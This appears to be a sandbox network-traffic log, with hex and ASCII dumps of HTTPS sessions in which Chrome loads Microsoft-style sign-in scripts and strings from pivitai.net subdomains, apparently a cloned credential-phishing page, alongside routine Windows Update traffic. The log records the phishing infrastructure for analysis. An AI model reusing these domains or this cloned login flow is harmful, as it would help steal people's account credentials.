2024-04-26 20:18:25 UTC	212	IN	Data Raw: 33 38 61 33 0d 0a 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 Data Ascii: 38a3!function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([functi
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 36 29 2c 61 3d 72 2e 53 74 72 69 6e 67 73 56 61 72 69 61 6e 74 49 64 2c 73 3d 72 2e 41 6c 6c 6f 77 65 64 49 64 65 6e 74 69 74 69 65 73 54 79 70 65 3b 6e 2e 72 65 67 69 73 74 65 72 53 6f 75 72 63 65 28 22 73 74 72 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 29 7b 69 66 28 65 2e 57 46 5f 53 54 52 5f 53 69 67 6e 75 70 4c 69 6e 6b 5f 41 72 69 61 4c 61 62 65 6c 5f 54 65 78 74 3d 22 43 72 65 61 74 65 20 61 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 22 2c 65 2e 57 46 5f 53 54 52 5f 53 69 67 6e 75 70 4c 69 6e 6b 5f 41 72 69 61 4c 61 62 65 6c 5f 47 65 6e 65 72 69 63 5f 54 65 78 74 3d 22 43 72 65 61 74 65 20 61 20 6e 65 77 20 61 63 63 6f 75 6e 74 Data Ascii: on(e,o,i){i(2);var n=i(1),t=i(5),r=i(6),a=r.StringsVariantId,s=r.AllowedIdentitiesType;n.registerSource("str",function(e,o){if(e.WF_STR_SignupLink_AriaLabel_Text="Create a Microsoft account",e.WF_STR_SignupLink_AriaLabel_Generic_Text="Create a new account
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6e 3e 2c 20 61 6c 6c 6f 77 69 6e 67 20 79 6f 75 20 74 6f 20 61 63 63 65 73 73 20 61 6e 79 20 61 70 70 73 20 75 73 65 64 20 62 79 20 79 6f 75 72 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2e 20 50 72 6f 63 65 65 64 20 6f 6e 6c 79 20 69 66 20 79 6f 75 20 6f 77 6e 20 74 68 65 20 64 65 76 69 63 65 20 6f 72 20 74 72 75 73 74 20 74 68 65 20 73 65 72 76 69 63 65 20 79 6f 75 5c 27 72 65 20 73 69 67 6e 69 6e 67 20 69 6e 20 74 6f 2e 27 3a 6f 2e 73 52 65 6d 6f 74 65 41 70 70 4c 6f 63 61 74 69 6f 6e 26 26 28 65 2e 57 46 5f 53 54 52 5f 44 65 66 61 75 6c 74 5f 44 65 73 63 3d 27 59 6f 75 20 77 69 6c 6c 20 62 65 20 73 69 67 6e 65 64 20 69 6e 20 74 6f 20 61 20 72 65 6d 6f 74 65 20 64 65 76 69 63 65 20 6f 72 20 73 65 72 76 69 63 65 20 69 6e 20 3c 73 70 61 6e 20 69 64 3d 22 6c Data Ascii: n>, allowing you to access any apps used by your organization. Proceed only if you own the device or trust the service you\'re signing in to.':o.sRemoteAppLocation&&(e.WF_STR_Default_Desc='You will be signed in to a remote device or service in <span id="l
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6c 65 3d 22 53 6f 6d 65 74 68 69 6e 67 20 77 65 6e 74 20 77 72 6f 6e 67 20 61 6e 64 20 77 65 20 63 61 6e 27 74 20 73 69 67 6e 20 79 6f 75 20 69 6e 20 72 69 67 68 74 20 6e 6f 77 2e 20 50 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2e 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 6d 61 69 6c 5f 45 78 61 6d 70 6c 65 3d 6f 2e 69 41 6c 6c 6f 77 65 64 49 64 65 6e 74 69 74 69 65 73 3d 3d 3d 73 2e 42 6f 74 68 3f 22 45 6d 61 69 6c 2c 20 70 68 6f 6e 65 2c 20 6f 72 20 53 6b 79 70 65 22 3a 6f 2e 66 41 6c 6c 6f 77 50 68 6f 6e 65 53 69 67 6e 49 6e 3f 22 45 6d 61 69 6c 20 6f 72 20 70 68 6f 6e 65 22 3a 22 73 6f 6d 65 6f 6e 65 40 65 78 61 6d 70 6c 65 2e 63 6f 6d 20 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 55 73 65 72 6e 61 6d 65 5f 41 72 69 61 4c Data Ascii: le="Something went wrong and we can't sign you in right now. Please try again later.",e.CT_PWD_STR_Email_Example=o.iAllowedIdentities===s.Both?"Email, phone, or Skype":o.fAllowPhoneSignIn?"Email or phone":"someone@example.com ",e.CT_PWD_STR_Username_AriaL
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 74 43 72 65 64 65 6e 74 69 61 6c 54 79 70 65 45 72 72 6f 72 3d 22 54 68 65 72 65 20 77 61 73 20 61 6e 20 69 73 73 75 65 20 6c 6f 6f 6b 69 6e 67 20 75 70 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 2e 20 54 61 70 20 4e 65 78 74 20 74 6f 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 47 65 74 4f 6e 65 54 69 6d 65 43 6f 64 65 45 72 72 6f 72 3d 22 54 68 65 72 65 20 77 61 73 20 61 6e 20 69 73 73 75 65 20 63 72 65 61 74 69 6e 67 20 61 20 63 6f 64 65 20 66 6f 72 20 79 6f 75 20 74 6f 20 75 73 65 2e 20 54 61 70 20 4e 65 78 74 20 74 6f 20 74 72 79 20 61 67 61 69 6e 2e 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 46 6c 6f 77 54 6f 6b 65 6e 45 78 70 69 72 65 64 3d 22 53 6f 72 72 79 2c 20 79 6f 75 72 20 73 Data Ascii: tCredentialTypeError="There was an issue looking up your account. Tap Next to try again.",e.CT_PWD_STR_Error_GetOneTimeCodeError="There was an issue creating a code for you to use. Tap Next to try again.",e.CT_PWD_STR_Error_FlowTokenExpired="Sorry, your s
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6f 72 5f 49 64 73 4c 6f 63 6b 65 64 3d 22 59 6f 75 72 20 61 63 63 6f 75 6e 74 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 6c 6f 63 6b 65 64 20 74 6f 20 70 72 65 76 65 6e 74 20 75 6e 61 75 74 68 6f 72 69 7a 65 64 20 75 73 65 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 61 6e 64 20 69 66 20 79 6f 75 20 73 74 69 6c 6c 20 68 61 76 65 20 74 72 6f 75 62 6c 65 2c 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 2e 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 4c 61 73 74 50 61 73 73 77 6f 72 64 55 73 65 64 3d 22 4c 6f 6f 6b 73 20 6c 69 6b 65 20 79 6f 75 20 65 6e 74 65 72 65 64 20 79 6f 75 72 20 6f 6c 64 20 70 61 73 73 77 6f 72 64 2e 20 54 72 79 20 61 67 61 69 6e 20 77 69 74 68 20 79 6f 75 72 20 6e 65 77 20 6f 6e 65 2e 22 Data Ascii: or_IdsLocked="Your account is temporarily locked to prevent unauthorized use. Try again later, and if you still have trouble, contact your admin.",e.CT_PWD_STR_Error_LastPasswordUsed="Looks like you entered your old password. Try again with your new one."
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 27 74 20 66 69 6e 64 20 61 6e 20 61 63 63 6f 75 6e 74 20 77 69 74 68 20 74 68 61 74 20 75 73 65 72 6e 61 6d 65 2e 20 54 72 79 20 61 6e 6f 74 68 65 72 2c 20 6f 72 20 3c 61 20 69 64 3d 22 69 64 41 5f 50 57 44 5f 53 69 67 6e 55 70 22 20 68 72 65 66 3d 22 23 22 3e 67 65 74 20 61 20 6e 65 77 20 4d 69 63 72 6f 73 6f 66 74 20 61 63 63 6f 75 6e 74 3c 2f 61 3e 2e 27 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 43 72 65 61 74 65 4e 65 77 41 63 63 6f 75 6e 74 3d 22 43 72 65 61 74 65 20 61 20 6e 65 77 20 61 63 63 6f 75 6e 74 22 29 3a 6f 2e 66 43 42 53 68 6f 77 53 69 67 6e 55 70 3f 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 3d 27 54 68 69 73 20 61 63 63 6f 75 6e 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 Data Ascii: 't find an account with that username. Try another, or <a id="idA_PWD_SignUp" href="#">get a new Microsoft account</a>.',e.CT_PWD_STR_CreateNewAccount="Create a new account"):o.fCBShowSignUp?e.CT_PWD_STR_Error_UsernameNotExist='This account does not exist
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 6f 72 72 65 63 74 6c 79 2e 20 4f 74 68 65 72 77 69 73 65 2c 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 2e 22 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 5f 56 65 72 69 66 69 65 64 44 6f 6d 61 69 6e 5f 53 69 67 6e 75 70 41 6c 6c 6f 77 65 64 3d 27 54 68 69 73 20 75 73 65 72 6e 61 6d 65 20 6d 61 79 20 62 65 20 69 6e 63 6f 72 72 65 63 74 2e 20 45 6e 74 65 72 20 61 20 64 69 66 66 65 72 65 6e 74 20 6f 6e 65 20 6f 72 20 3c 61 20 69 64 3d 22 61 61 64 53 69 67 6e 75 70 22 20 68 72 65 66 3d 22 23 22 3e 63 72 65 61 74 65 20 61 20 6e 65 77 20 6f 6e 65 3c 2f 61 3e 2e 27 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 5f 56 65 72 69 Data Ascii: orrectly. Otherwise, contact your admin.",e.CT_PWD_STR_Error_UsernameNotExist_VerifiedDomain_SignupAllowed='This username may be incorrect. Enter a different one or <a id="aadSignup" href="#">create a new one</a>.',e.CT_PWD_STR_Error_UsernameNotExist_Veri
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 65 66 3d 22 23 22 3e 73 69 67 6e 20 69 6e 20 77 69 74 68 20 61 20 6f 6e 65 2d 74 69 6d 65 20 63 6f 64 65 20 73 65 6e 74 20 74 6f 20 79 6f 75 72 20 65 6d 61 69 6c 3c 2f 61 3e 2e 27 2c 65 2e 43 54 5f 50 57 44 5f 53 54 52 5f 45 72 72 6f 72 5f 55 73 65 72 6e 61 6d 65 4e 6f 74 45 78 69 73 74 73 5f 45 6d 61 69 6c 4f 74 70 41 6c 6c 6f 77 65 64 5f 4d 73 61 46 61 69 6c 65 64 3d 27 57 65 20 63 6f 75 6c 64 6e 5c 27 74 20 66 69 6e 64 20 61 6e 20 61 63 63 6f 75 6e 74 20 77 69 74 68 20 74 68 61 74 20 75 73 65 72 6e 61 6d 65 2e 20 54 72 79 20 61 6e 6f 74 68 65 72 2c 20 6f 72 20 69 66 20 79 6f 75 20 77 65 72 65 20 69 6e 76 69 74 65 64 20 74 6f 20 6a 6f 69 6e 20 61 6e 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 2c 20 3c 61 20 69 64 3d 22 73 65 6e 64 4f 74 63 4c 69 6e 6b 22 20 Data Ascii: ef="#">sign in with a one-time code sent to your email</a>.',e.CT_PWD_STR_Error_UsernameNotExists_EmailOtpAllowed_MsaFailed='We couldn\'t find an account with that username. Try another, or if you were invited to join an organization, <a id="sendOtcLink"
2024-04-26 20:18:25 UTC	1369	IN	Data Raw: 65 72 5f 45 72 72 6f 72 5f 48 65 61 64 69 6e 67 3d 22 57 65 27 72 65 20 68 61 76 69 6e 67 20 74 72 6f 75 62 6c 65 20 6c 6f 63 61 74 69 6e 67 20 79 6f 75 72 20 61 63 63 6f 75 6e 74 2e 20 57 68 69 63 68 20 74 79 70 65 20 6f 66 20 61 63 63 6f 75 6e 74 20 64 6f 20 79 6f 75 20 77 61 6e 74 20 74 6f 20 75 73 65 3f 22 2c 65 2e 43 54 5f 48 52 44 5f 53 54 52 5f 53 70 6c 69 74 74 65 72 5f 41 61 64 54 69 6c 65 5f 54 69 74 6c 65 3d 22 57 6f 72 6b 20 6f 72 20 73 63 68 6f 6f 6c 20 61 63 63 6f 75 6e 74 22 2c 65 2e 43 54 5f 48 52 44 5f 53 54 52 5f 53 70 6c 69 74 74 65 72 5f 41 61 64 54 69 6c 65 5f 48 69 6e 74 3d 22 43 72 65 61 74 65 64 20 62 79 20 79 6f 75 72 20 49 54 20 64 65 70 61 72 74 6d 65 6e 74 22 2c 65 2e 43 54 5f 48 52 44 5f 53 54 52 5f 53 70 6c 69 74 74 65 72 5f Data Ascii: er_Error_Heading="We're having trouble locating your account. Which type of account do you want to use?",e.CT_HRD_STR_Splitter_AadTile_Title="Work or school account",e.CT_HRD_STR_Splitter_AadTile_Hint="Created by your IT department",e.CT_HRD_STR_Splitter_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.17	49734	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:25 UTC	756	OUT	GET /Me.htm?v=3 HTTP/1.1 Host: dwqef.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:27 UTC	1123	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:27 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=315360000 Expires: Mon, 24 Apr 2034 20:18:26 GMT P3p: CP="DSP CUR OTPi IND OTRi ONL FIN" Ppserver: PPV: 30 H: PH1PEPF00011EA6 V: 0 Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: uaid=23e35ad51c1d4d4caaa246b013ae2be7; Path=/; Domain=dwqef.pivitai.net; HttpOnly; Secure; SameSite=None Set-Cookie: MSPRequ=id=N&lt=1714162706&co=1; Path=/; Domain=dwqef.pivitai.net; HttpOnly; Secure; SameSite=None Vary: Accept-Encoding X-Ms-Request-Id: 19c6e160-cac2-49c3-b692-a88cde95c193 X-Ms-Route-Info: C534_BAY CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xkkxlRStKsE%2BK5nXKpiiry0RxV9bUS7j0%2ByPgM6UyHEIEYftWlU9UG1GKGZYv0s53wL10JeYYpgXw8I5SVEJrr5slvjAsWJcxQezDBYdXOPFbJ7mH7TTAxyRDR8fWtlB%2BKPp7w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a9431069ada521-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:27 UTC	246	IN	Data Raw: 39 31 36 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 6f 72 28 76 61 72 20 65 20 69 6e 20 74 29 6e 5b 65 5d 3d 74 5b 65 5d 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 69 29 7b 69 66 28 65 5b 69 5d 29 72 65 74 75 72 6e 20 65 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 73 3d 65 5b 69 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 69 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 6e 5b 69 5d 2e 63 61 6c 6c 28 73 2e 65 78 70 6f 72 74 73 2c 73 2c 73 2e 65 78 70 6f 72 74 73 2c 74 29 2c 73 2e 6c 6f 61 64 65 64 3d 21 30 2c 73 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 65 3d 7b Data Ascii: 916<script type="text/javascript">!function(n,t){for(var e in t)n[e]=t[e]}(this,function(n){function t(i){if(e[i])return e[i].exports;var s=e[i]={exports:{},id:i,loaded:!1};return n[i].call(s.exports,s,s.exports,t),s.loaded=!0,s.exports}var e={
2024-04-26 20:18:27 UTC	1369	IN	Data Raw: 7d 3b 72 65 74 75 72 6e 20 74 2e 6d 3d 6e 2c 74 2e 63 3d 65 2c 74 2e 70 3d 22 22 2c 74 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 6e 2c 74 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 6e 29 7b 66 6f 72 28 76 61 72 20 74 3d 67 5b 63 5d 2c 65 3d 30 2c 69 3d 74 2e 6c 65 6e 67 74 68 3b 65 3c 69 3b 2b 2b 65 29 69 66 28 74 5b 65 5d 3d 3d 3d 6e 29 72 65 74 75 72 6e 21 30 3b 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 69 28 6e 29 7b 69 66 28 21 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 66 6f 72 28 76 61 72 20 74 3d 6e 2b 22 3d 22 2c 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 2e 73 70 6c 69 74 28 22 3b 22 29 2c 69 3d 30 2c 73 3d 65 2e 6c 65 6e 67 74 68 3b 69 3c 73 3b 69 2b 2b 29 7b 76 61 72 20 6f 3d 65 5b 69 5d 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 73 Data Ascii: };return t.m=n,t.c=e,t.p="",t(0)}([function(n,t){function e(n){for(var t=g[c],e=0,i=t.length;e<i;++e)if(t[e]===n)return!0;return!1}function i(n){if(!n)return null;for(var t=n+"=",e=document.cookie.split(";"),i=0,s=e.length;i<s;i++){var o=e[i].replace(/^\s
2024-04-26 20:18:27 UTC	718	IN	Data Raw: 26 26 6c 2e 70 61 72 65 6e 74 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 2c 6e 29 7d 76 61 72 20 6c 3d 77 69 6e 64 6f 77 2c 63 3d 22 70 72 6f 64 22 2c 70 3d 22 22 2c 66 3d 22 22 2c 64 3d 7b 4e 6f 6e 65 3a 30 2c 53 69 67 6e 65 64 49 6e 54 6f 52 50 3a 31 2c 53 69 67 6e 65 64 49 6e 54 6f 49 44 50 3a 32 2c 52 65 6d 65 6d 62 65 72 65 64 3a 33 7d 2c 75 3d 7b 4e 6f 6e 65 3a 30 2c 49 73 57 69 6e 64 6f 77 73 53 73 6f 3a 31 7d 2c 67 3d 7b 64 65 76 3a 5b 70 2c 66 5d 2c 22 69 6e 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 6c 6f 67 69 6e 2e 77 69 6e 64 6f 77 73 2d 70 70 65 2e 6e 65 74 22 5d 2c 70 72 6f 64 3a 5b 22 68 74 74 70 73 3a 2f 2f 64 66 67 72 74 2e 70 69 76 69 74 61 69 2e 6e 65 74 22 2c 22 68 74 74 70 73 3a 2f 2f 75 6a Data Ascii: &&l.parent.postMessage(JSON.stringify(t),n)}var l=window,c="prod",p="",f="",d={None:0,SignedInToRP:1,SignedInToIDP:2,Remembered:3},u={None:0,IsWindowsSso:1},g={dev:[p,f],"int":["https://login.windows-ppe.net"],prod:["https://dfgrt.pivitai.net","https://uj
2024-04-26 20:18:27 UTC	7	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a Data Ascii: 2
2024-04-26 20:18:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.17	49733	20.114.59.183	443

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:26 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SkP4Hx1tLvaAHe8&MD=VM8OULnM HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-26 20:18:26 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: 2df74d57-b6b2-4295-a241-b85ab1f5927d MS-RequestId: 3d940b45-c945-4883-a1f7-79a12738a36d MS-CV: zL9cakvrwEqfR8LR.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Fri, 26 Apr 2024 20:18:26 GMT Connection: close Content-Length: 25457
2024-04-26 20:18:26 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-26 20:18:26 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49736	172.67.223.170	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:26 UTC	689	OUT	GET /shared/1.0/content/js/asyncchunk/convergedlogin_pcustomizationloader_7f0a8c2a247460fad87f.js HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dfgrt.pivitai.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:26 UTC	1153	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:26 GMT Content-Type: application/x-javascript Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 90182 Cache-Control: public, max-age=31536000 Content-Md5: eZ+IAUPxfkfE79uz/zWlTA== Etag: 0x8DC2E5A3BC19A93 Last-Modified: Thu, 15 Feb 2024 19:13:46 GMT Vary: Accept-Encoding X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 38c5bf87-501e-00d2-45d1-7e3844000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cQFi7z5aBxMQ8HSb6EiZ2dIoLkZQrJiGIg2GWC4WdyFy0Gm5A9SBEliHTB4rF1G6t5%2FeORJnkeEKa3eGXvalhUBFmI18jXvOUVE2zJRUNR8qZp1r5gLZTFe27ZsSpLIMRVqK5sQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94315ee17a683-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:26 UTC	216	IN	Data Raw: 33 38 61 31 0d 0a 2f 2a 21 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 53 54 41 52 54 20 4f 46 20 54 48 49 52 44 20 50 41 52 54 59 20 4e 4f 54 49 43 45 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 0a 20 2a 20 0a 20 2a 20 54 68 69 73 20 66 69 6c 65 20 69 73 20 62 61 73 65 64 20 6f 6e 20 6f 72 20 69 6e 63 6f 72 70 6f 72 61 74 65 73 20 6d 61 74 65 72 69 61 6c 20 66 72 6f 6d 20 74 68 65 20 70 72 6f 6a 65 63 74 73 20 6c 69 73 74 65 64 20 62 65 6c 6f 77 20 28 54 68 69 Data Ascii: 38a1/! ------------------------------------------- START OF THIRD PARTY NOTICE ----------------------------------------- * * This file is based on or incorporates material from the projects listed below (Thi
